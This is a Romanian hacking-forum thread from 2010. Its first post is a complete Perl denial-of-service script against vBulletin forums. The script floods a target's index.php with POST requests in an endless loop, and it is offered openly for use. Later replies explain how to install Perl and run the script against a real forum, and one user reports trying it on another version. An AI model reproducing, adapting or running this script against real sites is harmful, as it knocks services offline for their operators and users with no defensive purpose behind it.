trxtxx Posted January 5, 2010 Report Share Posted January 5, 2010 #!/c:/perl/bin## VBulletin Denail of Service Exploit by 4.!.5## created : !N 7h3 DARKNESS# CODED BY: R3d-D3V!L## important => Image Verification in (search.php) is NOT Enabled.# It tested on V3.6.3##Perl Scriptuse Socket;if (@ARGV < 2) { &usage }$rand=rand(10);$host = $ARGV[0];$dir = $ARGV[1];$host =~ s/(http:\/\/)//eg;for ($i=0; $i<10; $i--){$user="vb".$rand.$i;$data = "s=";$len = length $data;$foo = "POST ".$dir."index.php HTTP/1.1\r\n"."Accept: */*\r\n"."Accept-Language: en-gb\r\n"."Content-Type: application/x-www-form-urlencoded\r\n"."Accept-Encoding: gzip, deflate\r\n"."User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"."Host: $host\r\n"."Content-Length: $len\r\n"."Connection: Keep-Alive\r\n"."Cache-Control: no-cache\r\n\r\n"."$data";my $port = "80";my $proto = getprotobyname('tcp');socket(SOCKET, PF_INET, SOCK_STREAM, $proto);connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;send(SOCKET,"$foo", 0);syswrite STDOUT, "+" ;}print "\n\n";system('ping $host');sub usage {print "\tusage: \n";print "\t$0 <host> </dir/>\n";print "\tex: $0 127.0.0.1 /forum/\n";print "\tex2: $0 127.0.0.1 /\n\n";exit();};# Exploit By 4.!.5...###################################################### Quote Link to comment Share on other sites More sharing options...
alex_owners Posted January 5, 2010 Report Share Posted January 5, 2010 Pot solicita o utilizare tutorial video Quote Link to comment Share on other sites More sharing options...
trxtxx Posted January 6, 2010 Author Report Share Posted January 6, 2010 da cand o sa fac rost de un linux ca am uitat incarcatorul la munte de la laptopul cu linux asa ca daca are cineva un linux la indemna sa faca un mic tutorial pt cine are nevoie.edit: shit asta e in perl, fac tutorialul later:) Quote Link to comment Share on other sites More sharing options...
alex_owners Posted January 6, 2010 Report Share Posted January 6, 2010 Ce cod este stocat în blocnotes cu extensia .perl?i a alerga prin Start -> Run -> exploatasa ma inveti Quote Link to comment Share on other sites More sharing options...
trxtxx Posted January 6, 2010 Author Report Share Posted January 6, 2010 m-ai batut mai incearca sa reformulezi intrebarea ca nu inteleg ce vrei sa zici. presupun ca vrei sa zici cum folosesti scriptu asta pe windows? daca da trebe instalat live perl sau active perl cum draq se numeste dai pe googleactive perl for windows si gasesti tu Quote Link to comment Share on other sites More sharing options...
Church Posted January 6, 2010 Report Share Posted January 6, 2010 (edited) nu inteleg ce trebuie tutorial video ? intri pe The Perl Programming Language - www.perl.org downloadezi perlu prostia aia o salvezi in vblapoi meri in cmdperl vbl pulamea.ro /forum si gatap.s.: am incercat pe 3.8.4 , dar nu merge Edited January 6, 2010 by Church Quote Link to comment Share on other sites More sharing options...
trxtxx Posted January 6, 2010 Author Report Share Posted January 6, 2010 andrei da-mi u mesaj mai incolo privat si iti gassc eu un site care sa iti fac un tutorial specialpt asta, acum am treaba:) good luck Quote Link to comment Share on other sites More sharing options...
CODEX Posted January 6, 2010 Report Share Posted January 6, 2010 # It tested on V3.6.3normal ca nu merge pe alte versiuni mai noi . Pentru cine nu stie sa il folosesasca vedeti ca sunt tutoriale p'aici pe undeva . puneti mana si dait un search ..sau pe google Quote Link to comment Share on other sites More sharing options...